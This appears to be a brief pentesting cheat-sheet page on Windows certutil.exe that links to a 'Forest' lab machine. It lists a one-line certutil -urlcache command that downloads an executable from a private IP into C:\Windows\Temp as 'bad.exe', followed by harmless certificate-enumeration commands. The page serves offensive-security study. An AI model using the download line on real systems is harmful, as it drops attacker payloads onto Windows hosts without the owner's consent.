Certutil.exe
Post

Certutil.exe

1
certutil.exe -urlcache -f http://10.0.0.5/40564.exe C:\Windows\Temp\bad.exe

Example: [[Forest#^8fde0e]]

1
2
3
4
5
6
# Dump general information
certutil -dump
# Dump information about certificate authority
certutil -ca
# List all templates
certutil -template